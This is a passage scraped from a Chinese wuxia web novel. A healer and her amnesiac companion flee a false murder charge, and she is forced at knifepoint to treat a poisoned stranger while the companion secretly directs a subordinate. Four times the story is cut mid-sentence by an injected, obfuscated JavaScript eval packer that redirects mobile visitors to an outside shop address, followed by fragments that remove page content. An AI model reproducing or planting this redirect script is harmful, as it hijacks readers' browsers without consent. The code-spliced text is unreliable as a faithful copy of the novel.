那老人倒在地上,安晏蹲在他身边,墨白沉默地去燃了灯烛,借着烛焰微弱的光,他看见那老人颈上一道暗红的伤。 和以往相同,伏焱一刀割破气道,没有伤及一旁的血管。 “这一刀比往时稍浅,他还有气……”安晏探过呼吸和脉搏,慌乱地从身上取下包裹。瓶瓶罐罐清脆地散落一地,她翻出一捆棉布,颤抖着去缠老人脖颈,缠了几周,又突然顿住,松开了手。 她颓然跌坐在地上,泪水从眼眶滚落:“我……来不及……” 老人已没了呼吸。 随即,烛光一晃,铜盏撞上地面,墨白的身子也轰然坠落。 ———————————— 安晏慢慢睁开了眼。 晨光微暗,窗外的鸟雀吵得她头痛,但她还是起身下了床。床铺里侧,墨白双目紧闭,她探手摸了摸他的脉搏,倒没有其他异常,这才稍稍放下心,叹息一声,向外间走去。 外间,地上躺着老人的尸体,尸体上盖着一块麻布。 她看着老人,心底不由得浮起浓郁的悲伤和自责。 她是不是本可以救他?如果她提早察觉危险,如果她提早片刻赶回,如果她的剑法再快一些,如果她的医术再高一些,如果她没有与伏焱纠缠,而是先去确认老人的安危…… 明明有那么多如果,可她却眼睁睁地,看着老人死在了她面前。 许久,她终于深深吸了口气。 伏焱已经走了,眼下,她应该先找一处地方,将老人安葬。等墨白醒来,她—— 她忽然听见长街两端,响起了脚步声。 约莫十数人,脚踩重靴,身着兵甲,将这间屋子包围了起来。 是官兵?安晏蹙起眉心,打开房门,兵卒之中,立着一个将军模样的人。 “姑娘,”那将军正是顾鸿云,他上前一步,平声问道,“我们接到举报,说昨夜有人闯入这户人家。你——”他瞥向她腰侧的佩剑,“并不住在此处吧?” “是。”安晏微顿,“住在这里的……老人家,已经过世了。” “烦请姑娘细说。” 安晏看了看他们,侧开身子:“请将军入内详谈。” 身旁一个士兵提醒道:“将军,小心屋内埋伏。” 顾鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956541|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云摆了摆手,淡淡道:“无妨。”便越过安晏,迈进了屋子。 安晏请顾鸿云看过老人尸身,说她一路追查至此,昨夜终于见到凶手,却没能拦住他。她告诉顾鸿云,伏焱武功极高,心思狠辣,断不可用常理思考。但他现在何处,她也毫无头绪。 是啊,她其实,也不了解他。 顾鸿云听后沉默了许久,才终于抬眼望向安晏:“你口中凶手,你可知他是何身份?” 安晏摇头道:“他不是任何门派的人。至于他从何而来,我也不知道,我……甚至不能肯定,伏焱就是他真正的名字。” 顾鸿云沉吟半晌:“姑娘,你可否随我前往郡府,再仔细说一说其他凶案线索?” 安晏一顿,顾鸿云又淡声道:“这位老人,我会遣人安排入葬,请姑娘放心。” 安晏这才点了点头,这个将军,似乎可以信任:“好,那我……” “我和你一起去。” 身后忽然响起一道微弱的声音,安晏转过头,墨白正倚着门柱,苍白地向她望来。 “你怎么起来了。”安晏急忙跑到墨白身边,扶住他摇摇欲坠的身子。 “我听到外面的动静。”墨白虚弱地笑笑,扶着门框站稳了,“我不放心你,我和你一起去吧。” 他没有听安晏仔细讲过之前的案件,也不知道官军是否还有其他的线索。他也在找伏焱,他也需要找到伏焱。 伏焱……究竟是谁?他究竟知道什么? 但是安晏没有答应他。 “不用,我很快就回来。”她扶着他往屋子里走,不由分说地将他按坐回床上,“你好好休息,千万不要乱走。” ———————————— 安晏随顾鸿云去了郡府。 她将这一个月以来的见闻,告诉了顾鸿云。 一个月前,她无意间救下重伤的伏焱,她将他带去医馆,治好了他,他却杀死了医馆里的所有人,离开了。她随即听说了附近县城的命案,笃定是伏焱所为,于是一路追踪至此。昨晚,她终于见到伏焱,却还是……没能阻止他。 但她没有告诉顾鸿云墨白的事,伏焱称墨白“弟弟”,他们容貌如此相似,官府会不会为了调查,而抓捕墨白? 墨白不是江湖人,伏焱的事,与他无关。 所以她没有同意墨白和她一起来,她不能让墨白再受牵连。 堂下书吏执笔记录,顾鸿云仔细听着,脸上神色却未有波澜。待安晏讲完,他终于缓缓启口:“姑娘所言,我实在闻所未闻。我不能听信你一面之言,还请姑娘稍等,我需要去查证一些事情。” “好。”没有其他人见过伏焱,这顾将军有所怀疑,也在情理之中。 “请姑娘稍等片刻。”顾鸿云起身,再次看了安晏一眼,转身离去。 室内安静下来,天光早已大亮,阳光漏进窗棂,照得人背脊发烫。竟是如此明媚的一日,杀戮、血腥,似乎都离得很远。 安晏合上眼,想趁难得的机会休息片刻。接下来,她又要奔走江湖,继续追踪伏焱的下落了。 可伏焱他——会去什么地方呢? 如果老人真的是最后一个人,如果他真的不再杀人了,那她该去什么地方找他呢? 她是真的,毫无头绪。 安晏不由得蹙紧了眉,却忽然听见廊下传来了脚步声,杂乱无序,不是顾将军。 她睁开眼,直起身子,就见屋门被推开,竟是兴德郡郡尉带着七八个士兵闯了进来。 “就是此人,将她拿下!” 5. 就算逃亡,我也和你一起 安晏推开椅子,后退一步,凝眉看向逼近她的士兵:“你们为什么抓我?顾将军在何处?” 那郡尉冷笑一声:“你杀了人,自然应当认罪伏诛,竟还问本官为何抓你?” “顾将军在哪里?”安晏再次问,忍着拔剑的冲动——与官府为敌,终究不是上策,“你私自扣押我,就不怕顾将军问责吗!” “本官直接将你押送至刑审院,顾将军也说不得什么。”那郡尉不为所动,听闻皇上十分重视此案,这立头功的大好机会,他怎可能拱手让给顾鸿云那个榆木头?“你在案发现场,自然有重大嫌疑。再者,本官方才找到了证人,证人说,那夜他只见到一位女子进入死者家中,屋内随后就传来了呼救声,杀人凶手,不做第二人想。顾将军受你花言巧语蒙骗,但本官旁观者清,不会听信你胡言乱语!” 安晏不由错愕:“怎么可能?一派胡言,你叫那人过来,我和他当面对质!” 这个证人,是从什么地方冒出来的? 若郡尉所言属实,她不过在兴德郡住了两日,怎会无故惹上仇家? 郡尉却冷然道:“他日对薄公堂,你自然便能见到。”一挥手,“废话少说,你们,去把她绑起来!” 众士卒纷纷向安晏围拢,安晏不由得恼怒:“莫名其妙,你既为郡尉,怎可不辨黑白!” 情急之中,采萧剑出鞘,剑芒锋锐凌厉,迫得众人脚步一迟。 “怎么,终于露出了真面目吗?”郡尉见此,一声冷笑,更加认定安晏就是真凶,“拿下此人者,赏银十两!” 方才尚有迟疑的士兵都再次举起了刀,十两银子,几乎是一家人一年的口粮了。 安晏却不能再犹豫了。 顾将军不知何时回来,再者,顾将军是敌是友尚不能肯定,终究不可尽信。如若她真去王都走一趟,不知要耽误多少时间,伏焱他,还会不会继续杀人? 她不能再和这些人纠缠了。 心念已定,她随即振袖一扫,剑气激荡,有如厉风穿林,当先几个士兵受剑气冲击,胸口被狠狠一拍,竟有血腥气冲进咽喉,步子稍迟,安晏已利落转身,破窗而出。 “追!快追!别让她跑了!”郡尉急忙喊道,然而众人追赶出去,屋外艳阳高照,只剩树叶随风摇曳,早已没有了半个人影。 郡尉不禁咬牙切齿,眼看到手的鸭子飞得不见了踪影。不远处,顾鸿云匆匆走来:“马大人,我听到此地喧哗,发生何事?” “能有何事!”马郡尉愤然道,“你带回来的人犯跑了!还打伤了我四名手下!” 顾鸿云微顿:“她怎会无缘无故,突然逃走?” “无缘无故?顾将军此言何意?”马郡尉显得更加愤怒,抬手指向零落破碎的木窗,“我不过是想诈一诈她,说了几句她就是真凶,她二话不说,立即出剑伤人,逃之夭夭!这下,倒是坐实她的嫌疑了!” 顾鸿云却未言,走到窗边,向屋外望去。 马郡尉怕他看出什么端倪,忙抬步跟上,一边道:“顾将军方才,可有查出什么线索?” 顾鸿云平淡道:“尚未。” 马郡尉心中悄悄松了口气,忙再接再厉道:“她若不是心中有鬼,怎会畏罪而逃?依我之见,应当趁她尚未逃远,尽快发令通缉,将她在兴德郡内抓捕归案!” 顾鸿云闻言,淡淡转目向马郡尉看去。 马郡尉不由得一阵心虚,下意识地转开了视线,却听顾鸿云依旧平淡地道:“好。” ———————————— 安晏沿小巷,一路跑出了城门。 似乎没有追兵,但她不敢松懈,一边向城郊人少的地方走,一边迅速撕短长裙,拆下发簪——等到了不起眼的小村落,她要先去买一套破旧布衫,离这里最近的村子是—— 她忽然脚步一顿。 “糟了,墨白!”她懊恼道,方才只顾逃走,她竟忘了墨白还在等她。顾将军寻不到她,定会去那老人—— 忽听身侧一个声音,清澈如春水化冰:“你在找我吗?” 安晏惊讶地回身,墨白就站在不远,笑盈盈地望着她。 阳光铺满他长发,他不再是那个苍白如纸的样子,望着她,眼中好似盛着湖泊,能化开世间所有的恶意和血腥。 她心头一动,快步走上前,将他拉至巷子的背光处:“墨公子,你为何在这里?” 墨白笑得竟有几分狡黠:“我比较喜欢听你叫我墨白。” 安晏面色一红,不禁恼羞道:“都什么时候了,你还说这些玩笑话!” “我没有开玩笑。”墨白反手握住安晏手腕,收起了嘴角的笑意,往人群更少的小路走去,“我见你行走匆忙,又散了头发,撕了裙摆,发生了什么事?” 肌肤间传来温暖干燥的触感,仿佛有一只小虫轻轻咬了一口,她整个身子都略略一僵。但墨白的话随即传入耳中,她连忙凝定心神,郑重道:“墨公子,你快些离开吧,不要再和我一起了。” 墨白复又笑起来:“不是才刚说了,我比较喜欢听你叫我墨白。” 安晏不禁有些恼怒,压低了声音:“我不是在说笑!郡尉欲将我定罪,押至王都送审,我不得不打伤侍卫,才逃了出来。恐怕很快,官府就会发令通缉,你在我身边,一定会受到牵连。” 墨白却笑着道:“原来你方才是打算变装。” 安晏见墨白一副不紧不慢的样子,不由得再次强调道:“我真的不是在说笑!你身上银两还够吗?你不愿去王都,也许可以北行去炎章郡——” “我不会离开。”墨白却忽然截断了她的话,话音温和,像是能安抚这夏时烦热的风,“就算逃亡,我也和你一起就是了。” “你这人——!” 官府通缉,江湖逃亡,他以为是很轻松的事吗?安晏愈发焦急,墨白却忽然轻叹一声,抬起手,抚了抚她的头顶。 “我知道你是担心我,谢谢你。”他的话音轻得像一片羽毛,悠然地落进她心底,“可是你仔细想一想,那顾将军见过我的样子,如果你被认作凶手,我也一定脱不了干系。我不会武功,还不如跟在你身边,更安全一些。” 安晏沉默了。他说得很对。 她到底牵连了他。 “……好。”许久,她终于开口,声线冷静下来,重复着,“好,那我们,先回石冈县吧。” 如果官府要通缉,寻常客栈,怕是都不能住了。顾将军在兴德郡,这里已经不可久留,近处唯一安全的地方,或许只有——石冈县那死去妇人的家。 她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956542|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个江湖人,墨白似乎也没有什么忌讳。 很多时候,死人都比活人更安全。 “好,我也正有此意。”墨白笑着点点头,“看来我们心有灵犀,想到一处去了。” “你怎么还有心情说这种玩笑话。”安晏脸颊腾地一烧,气恼地一跺脚,快步走到前头去了。 墨白却没有追上去,跟在她身后,嘴角仍然恰到好处地弯着,瞳孔里的光影却渐渐藏匿到了深处。 他当然不会离开。 她身上不仅有伏焱的线索,更是那几个人的弟子,他在寻找的一切,都与她有关。 ———————————— 石冈县妇人家中,已经空无一人。 官府运走了尸体,也不再派人值守,院子寂静幽谧,月光如流水铺在砖面上,似乎散发出些许冷意。 安晏与墨白简单收拾出房间,吃过干粮,夜色渐深,他们不敢燃灯,便准备各自入睡。但在离开房间前,安晏却叫住了墨白:“你等一等再走,我来给你诊脉。” “诊脉?”墨白有些疑惑,但还是依言坐下,挽起衣袖。 安晏将指尖搭在他手腕上,问道:“你之前,真的没有见过伏焱吗?” 墨白顿时明白了:“没有。或者,是我不记得了。我与伏焱并不相识,在我的记忆里,我从未有过什么哥哥。” “我知道了。”安晏眉心深凝,不再多说,闭上双眼,将注意力全部集中于指尖。过了半晌,直到额头渗出细汗,她才终于长长吐了口气。 墨白安静地看着她,少见地没有询问。 安晏抬目道,话音有些惭愧:“我医术不精,若是师父,肯定一早就察觉了。墨公子,你的记忆,被人封住了。” “嗯。”墨白点点头,他并不意外。 “不过,封住你记忆的,一共是二重。”安晏却随即道。 墨白一怔,这下,他确实有些惊讶了。 “封锁记忆的方法和解法,我都听师父说过。”安晏蹙着眉,在脑子里搜寻记忆——师父当时如何说的来着?她为什么,就没有仔细听一听呢?“这第一重……倒不难解,但第二重,似乎有些久远,我也没有十足把握,可能,要花上很久时间。” 墨白没有回答,眸子却也渐渐染上深色。 安晏以为他心中忧惧,连忙安慰道:“只是时间久一些,但一定能解开。就算我学艺不精,我还能去请教师父!总之你别担心,一定会有办法!” 墨白安静地看着她,忽而笑了。 他收回手,不知是有意还是无意拂过她的手:“没关系,即使不能解开,也没关系,都是过去的事情了。只要这段日子,我和你在一起时的记忆都不曾忘记,就足够了。” 安晏一顿,心跳好似漏了一拍,好似清幽的月光落进他眼眸,便沾染了灼灼热气。她刷地起身,轰他走:“谁说解不开?肯定能解开。夜深了,明日还要早起,我要睡了,你也快去睡。” “好。”墨白从善如流地应着,“那我走了。” 她的神色,他一瞬也未错过。 他向她道了安,她却半羞半恼地将他关在了门外。墨白转身离去,月色下神容终于渐渐归于清冷。 被封锁的两层记忆吗?——伏焱他,究竟是谁? 6. 想要他的命,就放下手 群山巍峨,朔风逡巡,遥远的山尖上,覆着经年不化的积雪。 屋内倒是热气融融,熏炉里间或冒出一碎火星子,好像和夜中的星辰——有那么一点相似。 他听见远处有一个模糊的声音。 他在说什么?还是她在说什么?他甚至分不清性别。声音越来越近,越来越近—— 墨白猛地睁开了眼。 ———————————— 不知名的鸟扑棱棱地拍打着翅膀,从窗沿飞走了。 窗外天色未明,墨白却再无睡意。 脑中传来隐约的钝痛,他从床上坐起,夏日的夜晚无端染了冷意。那些是他的记忆吗?他什么都不记得了。义父究竟瞒了他什么事?伏焱的话,又究竟是什么意思? 可是他越努力地回想,越只能看见无边无际的空茫。他最终放弃了,他不是大夫,若说这世上还有谁能找回他的记忆——就只有那位神医,和,他的弟子了。 安晏仍在沉睡,离天亮还有一个时辰,墨白穿上外袍,离开了妇人的家。 ———————————— 温暖的光线慢慢攀上窗棂,遥远的虫声漫进耳廓,安晏在床上翻了个身——眉心突然顿住,她睁开眼,倏地坐了起来。 窗外已天光大亮,什么时辰了?——墨白起了吗?他应该没有再次晕过去吧?他应该早已起床了,为何却没来叫她? 她不由得有些担心,急忙抓过床头的衣服,匆匆穿上鞋子,来不及梳头,拿上剑,推开屋门——墨白的房间竟门窗紧闭。她不敢往下想,跑到屋前,心惊胆战地敲响了门。 “墨公子,你醒了吗?” “嗯,稍等。” 屋子里传来墨白温润的嗓音,安晏心里一块石头终于落了地。 她想先回屋梳洗,墨白却很快打开了门。 “你起床了。”安晏只得打招呼道,看到他身上的衣衫,不禁一怔,“你换了衣服?” “我早就起床了。”墨白抬手,仿佛很随意地帮她理了理头发,“不止起床了,我还去了一趟街上。我们此后行路,只怕需要乔装易容,从前的衣服不能再穿,我便买了两套衣服。” 安晏心跳漏了一拍,下意识地后退了一步:“两套衣服?” “是。”墨白似乎不以为意,转身回屋,拿来一套长衣,“这套是给你准备的,不知道是否合身,你先试试。” “嗯……嗯,谢谢。”安晏接过,突然意识到,她出门时没有梳洗,现在的模样一定凌乱极了,不然墨白为什么一直在笑?她却忘了墨白平日里也大多是笑着的,慌忙接过长衣,头也不回地逃走了。 换衣梳洗之后,墨白问她:“安姑娘,接下来,你打算去哪里?” 安晏想了想道:“你觉得,伏焱是打算继续北上去炎章郡,还是打算向东,去王都?” 墨白却静静道:“我觉得,他不会再杀人了。” “是啊,毕竟他说过,那老人家是最后一个人了。”安晏叹息着,一时没了头绪,“可是,那二十四件凶案是唯一的线索,如果他不再杀人,我……该去什么地方找他呢?” 如果他不再杀人,他会做什么? 他又真的,不会再杀人了吗? 安晏想不出答案,但不能一直留在原地,吃过早饭,她和墨白离开了妇人的家。 街上果真已贴出了二人的通缉令,但他们易了容,与之前模样不大相同,守城士兵都没有发觉异常。二人在兴德郡附近几个县城转了一圈,最后走到了黄孝县,每一处地方都风平浪静,全无半分伏焱来过的痕迹。 “看来,伏焱真的走了。”安晏轻叹道,“如果伏焱决心隐迹江湖,天下茫茫,我该如何找出他?” 二人正坐在客栈二楼窗边,长街行人熙攘,阳光落满房瓦,他们已在黄孝县住了三日。 墨白在她对面坐下:“只要还在江湖里,终究有痕迹可循,不可能完全隐藏起自己。”状似不经意地问,“你没有想过,去调查一下伏焱的身世吗?” “我当然想过,可我不知道该从何查起。”安晏垂下目光,语气里浮出些许黯淡。 她不知道能去问谁,她不知道该去何处,好像离开了师父,她自己就什么都做不到了。 墨白没有再说,也转目向长街望去。街上人行如川摩肩接踵,他看见了一个人。 ———————————— 这是他们在黄孝县留宿的最后一晚。 伏焱大概不会出现了,再等下去也没有意义,安晏最终决定继续北上。伏焱不再动作,他们现在没有更多线索,又背着杀人罪名,向远处走,也多少更安全一些。 然而这一晚,墨白却迟迟没有入睡。 夜已深了,天地都静谧,他望着漆黑的帐顶,一动不动地躺了一个时辰。 窗外突然一声轻响。 那声响短促得好似错觉,墨白却听得真切。他起身披上长衣,走到窗边,推开窗子。 窗外空无一人。 新月悬在房角,如一把银镯,夏夜的风透着些许闷热。墨白悄无声息地翻窗而出,霎时间融进了茫茫夜色。 ———————————— 城门附近,守城将士倦倦欲眠。天下太平了几十年,成州又毗邻陵州,几乎是整个越国最中心之处,确然不必提心吊胆,忧虑敌侵。墨白走到城墙背风附近,一个黑衣人在等他。 “墨公子。”那人微微躬身。 “嗯。”墨白淡淡应了一声。 “属下奉阁主之令,前来协助公子。”那人恭敬道,“阁主问,官府发令悬赏,可是有什么麻烦?” 墨白道,清淡而疏冷:“无关紧要。” “是。阁主还有一问,近日与公子同行的姑娘,是否需要另行派人调查?” “不必,我自有主张。”墨白顿了顿,转头看向那黑衣人,声线漫上几分凉意,“高言雀,阁主叫你来此,是为了协助我吗?” 明明是夏夜,可与那眸子一望,高言雀只觉自己好像坠进了寒冰不化的冷窖。他慌忙深深地垂下头,不敢再看一眼:“是,公子有任何吩咐,属下自然万死不辞。” “死,倒不必。”墨白冷淡地俯视着他,静了许久,才语无波澜地开口道,“第一,不要跟得太近,安晏武功比你更高,若她有所察觉,我也只能让她杀了你。第二,有一件事,我要你替我去做。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956543|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一刻钟后,高言雀向墨白辞行,消失在了城墙远处。 墨白回到客栈,月影已渐渐东移,安晏睡梦正酣,全然未闻外间的声响。他仿佛一只夜行的猫,悄然无声地回到房间,就连房檐下熟睡的鸟雀都不曾惊动。 折腾半夜,他也有些乏了,便不再多想,和衣躺在床上,沉入了睡梦。 ———————————— 好像只过了一个刹那,墨白就被街上的人声吵醒了。 天已大亮,竟是一夜无梦。 墨白去房间叫醒安晏,二人简单吃过早饭,就依照计划,继续向北行走。夕阳将落的时候,二人到了成湖县。 成湖县不比黄孝县繁华,守备也松懈很多,但安全起见,二人没有进城,只在城郊不起眼的地方找了一处客栈落脚。 “这客栈确实简陋。”安晏拿着房牌向后院走,一面四下打量,“幸好就住一晚,委屈墨公子了。” “我哪有什么委屈。”墨白走在一旁,夕色锦缎般披落在他肩上,“只要与安姑娘同行,就是粗茶淡饭,也胜过满桌珍馐。” “你又在说这些拿我寻开心的话了。”安晏躲开了墨白的目光,就算听过许多次了,就算知道他只是玩笑,她依然觉得心跳无故乱了几分。她快走几步,当先推开房门—— 突然顿住。 房内有人! 安晏心念飞转,当下按上腰侧剑柄,然而清光未及出鞘,她却听见身后一个冰冷的声音。 “想要他的命,就放下手。” 她悚然回身,墨白站在门旁,颈侧一寸,是一把漆黑的刀。 她放开了握住剑柄的手,望向那个戴着面具,不辨容貌的男子:“你是何人?——你想要什么?” “安大夫不必紧张。”那男子似笑非笑道,“听闻安大夫医术过人,我今日来此,是请安大夫为我一位朋友诊病。” 安晏目光微沉:“请?” 那男子道:“我那位朋友身份特殊,不便让外人知晓,还请安大夫多包涵。” 墨白的脸在阴影中,辨不出神情。 “安大夫放心。”不见安晏回应,那男子又重复道,“我只是来请安大夫诊病,我无意伤人,也不会通报官府。我那位朋友病得严重,寻常大夫都无能为力,听闻安大夫医者仁心,妙手回春,因此特来请您出诊。待我那位朋友病愈,我当付黄金十两,以作诊金。” 他说着求人的话,语气却平静疏冷,尽是威胁。 这个人,不仅知晓她的身份,她的行踪,就连他们被官府通缉一事,他也了若指掌。 不过,她是医者,医病救人,本就责无旁贷。如今墨白被扣作人质,她更加别无选择。 安晏的视线牢牢锁在那把黑刀上:“好,我可以跟你走,但你必须保证不会伤害我的朋友。” 那男子静了静,似从喉咙间滚出一声轻笑:“那是自然。” “安姑娘……”墨白不由得轻唤。 “没事的,不用担心,我一定会救你。”安晏安慰道,看着客栈不知什么地方走出另外两个黑衣人,将墨白带离了她的视线。那个带着面具的男子仍立在门边,静静让开了半个身子:“安大夫,请。” 7. 你杀过人吗? 安晏随那个戴着面具的男子上了一辆马车,马车在城内城外转了许多圈,终于在一处宅子门前停住了。 车帘掀开,天已黑透,遥远的灯火几不可见,只有星光黯淡,幽静地笼罩着这一方庭院。 那男子引她走下马车,安晏目不斜视,随他迈进院门。 穿过曲径回廊,诺大的院子竟没有一个人影,树叶筛了星月,小池水声潺潺,再转过一片竹林,安晏终于看见了道路尽头摇曳的烛火。 “安大夫,病人就在里面。” 站在屋外,她听不见屋内的响动。这间屋子似乎是整个院子里唯一有光的地方,她,那个戴着面具的男人,门外沉默执灯的侍从,似乎是整个院子里仅有的三个人。 说不出的诡异。 但她仍然走上前,推开了屋门。 屋内灯烛幽微,厅中低眉顺目地立着另一个侍从。他对那戴面具的男子躬了躬身,便引二人走入内室。 内室仅有一张床,床上垂挂着纱帘,纱帘内平躺着一个人。安晏远远望见,听着那人的呼吸,脚步不由得一滞。 “他中了毒?”安晏问那男子。 “是。”那男子却不多说,“有劳安大夫了。” 江湖深邃,见不得光的争斗不胜枚举,这人估计也是受了暗算,不得已逃至僻静之处求医。安晏不再多问,坐到床边,将指尖搭上他手腕。 ——脉象混乱,时浮时沉,时缓时急,但是,不难解。 不消片刻,她已抬起手,望向候在床脚的男子:“你有笔纸吗?我写了药方,你可有地方去抓药?” 男子微顿:“我自有办法。” 侍从拿来笔纸,安晏就着昏暗的烛光写了药方,那侍从又接过,离开了屋子。脚步声很快远去消失,整个院落再次重归寂静。 等了一刻钟,安晏有些坐不住了:“他该不会是去镇上抓药吧?这一来一回,少说也要一个时辰,难道我今晚,不能回去?” 男子不置可否,引她向外:“还请安大夫在东厢房休息,直到病人毒性全解,届时安大夫离开,我自然不会阻拦。” 安晏捏了捏拳头,指甲狠狠地嵌进手心。 墨白在他们手中,她不能拔剑,最终只得叹了口气:“算了,等他抓药回来,立即煎一副喂病人喝下,明日晨起,再煎一副,晚,再煎第三副。夜中,毒性便可全解。” 她不想再和那男子多言,说完,径自踏出了房间。 ———————————— 转天,那男子没有找她,只叫侍从按时送来饭菜。安晏本想去院子四处转转,又担心那男子误以为她要逃走而对墨白不利,干脆闭门不出,温习了一整日心法。又过了一日,安晏刚吃完早饭,那男子就登门了。 “安大夫,我那位朋友有些话,想与您单独相谈。” 安晏皱皱眉头:“他毒性全解了?” 男子的声音辨不出情绪:“是,多谢安大夫妙手回春。” 安晏拿起绢帕擦了擦嘴:“好,正好我也该去看一看病人了。” 那个中毒的男子正斜坐在床上,他的脸色仍染着大病初愈的苍白,但呼吸已经平稳如常。房间里只有他们两个人,他向安晏躬身致意,安晏端详了他半晌,这才远远地坐了下来。 “你体内毒性,应该都已去除了。当然,你若不放心,我也可以再诊一次脉。” “多谢安大夫,我运行体内气息,已然无碍。”那人低声道,话音透出些许疲倦。 这话已是婉拒之意,安晏于是也不再坚持:“你有话想和我说,是什么?” 那人微顿,缓缓点头道:“是,但在此之前,我有一事想问——你可知道我的身份?” 安晏摇了摇头:“我不知道,不过,既然你毒性已解,可以叫你的朋友,或者,手下人,先放了墨公子吗?” 那人目不转睛地凝视着她:“是因为墨公子,你才会救我吗?” 安晏仍摇了摇头:“我会救你,因为你是病人,而我是大夫。” 那人又问:“安大夫此言,不论病人是善是恶,是何身份,你都会一视同仁地救治?” 安晏肯定地道:“这是医者本分。” 那人的眸子却比深潭更深:“即使,那病人十恶不赦,你救了他,可能会因此害死更多人吗?” 安晏目光微动,不由得沉默良久,最终仍然道:“是。” ———————————— “师父师父,您一直教我,治病救人,是医者本分,可是如果生了病的人,是一个做尽恶事的坏人,您也会救他吗?” 十年前的一个傍晚,初秋的风清澈微凉,宗暮非在院子里清洗药草,安晏坐在一旁帮忙,一边困惑地问。 “当然会了。”宗暮非不仅毫无迟疑,甚至似乎——有那么一点骄傲,“剑下亡魂成百上千,甚至险些毁灭了江湖的人,我都救过呢!” “可是,您救了他,他再去伤害其他人,该怎么办?”安晏小小的眉头皱成一团,“他杀了那么多人,又险些毁灭江湖,他一定……一定是个大恶人!那些因为他受到伤害的百姓,不是很无辜吗?” “哈哈哈哈哈,大恶人吗?”宗暮非直笑出了眼泪,好像想到了什么有趣的事,“对,他就是一个大恶人。”他又摇摇头,摸了摸安晏的头顶,重复道,“嗯,你说得很对。但我是大夫,我呢,只管救人,如果大恶人要伤害百姓——” 他转过半个头,向不远处正浇灌菜园的唐璃,和正在将晾晒的衣物收进竹筐的许翎竹望去,眼角渐渐落满温柔,“就,让你的许姨姨和唐姨姨,狠狠地教训他。” 安晏也转头望了一眼,却更加愁眉苦脸:“可是,许姨姨和唐姨姨的武功好厉害,我没有这么厉害的朋友,该怎么办呢?” “等你长大了,可以去结识厉害的朋友,或者,你认真习武,变得像你许姨姨和唐姨姨一样厉害,就可以亲自去教训坏人了。”宗暮非笑眯眯地看着她,“以后习武,可不许再偷懒了,不过呢,我只是一个神医,只能教你些基本的心法,可打不过那些厉害的坏人,你要不要考虑再去拜许姨姨和唐姨姨为师?” “嗯!”安晏重重点了下头,双目明亮,“等洗好药草,我就去找——找唐姨姨教我武功!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956544|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ———————————— 往日景象在脑海中浮现,安晏轻叹着续道:“医者本心,不问善恶,所有病人,我都会尽力救治。如果……我真的救了恶人,他再做恶事,我会再亲手杀了他。” 那男子默然半晌,忽而低低笑了:“这样的话,我是第一次听闻。”却望着她,眼中似映着幽冥的光,“安大夫,你杀过人吗?” 安晏没有回答。 窗外树影轻晃,一只鸟儿振翅飞上晴空,徒留下簌簌而落的尘灰。 那人了然地笑起来:“我知道你们在追查的人是谁。” 安晏抬目望去,眉心深深蹙起。 “这样说,或许不太准确。”那人却又沉吟着换了说辞,“我不知道他究竟是谁,但我知道,在他成为杀人的恶魔之前,他所生活的地方。安大夫若无他事,不妨去建德县城郊看一看。” “你究竟是谁?” 这个她两日来都以为无关紧要的问题,她在此时问出了口。 他知道伏焱的身世吗?他和伏焱有什么渊源?他为何会在此时出现,身中剧毒,请她救治?说到底,他为何会知道她在追查伏焱?为何会知晓她是大夫?为何笃定她能解开那一味毒? 这一瞬间,先前被她忽略的无数疑点涌进脑中——所有的一切都太不寻常了。然而不及她再问,那人已轻笑着披衣起身,道:“请安大夫在此处稍等,会有人带你去见墨公子,诊金也会一并给你。之后,安大夫就可以自行离开了。” “等一等!” 那人说罢便转身欲走,安晏不由得站了起来,右手握上剑柄,顿了顿,又松开了。 “你和伏焱,究竟是什么关系?你原先,认得我吗?”墨白仍在他们手上,她不能轻举妄动。 看着安晏的动作,那人笑了笑,却仍没有回答:“多谢安大夫救命之恩,也劳烦安大夫,替我向墨公子说一声抱歉。” 说完,那人一拢衣袖,举步消失在门外。 ———————————— 院中高大的树冠筛薄了夏日的潮热,身着轻便布衣的男子绕过两道月门,走进偏僻处的一个房间。 先前那个戴着面具的男子——高言雀已在房内等候,见了他,微微躬身:“墨公子。” 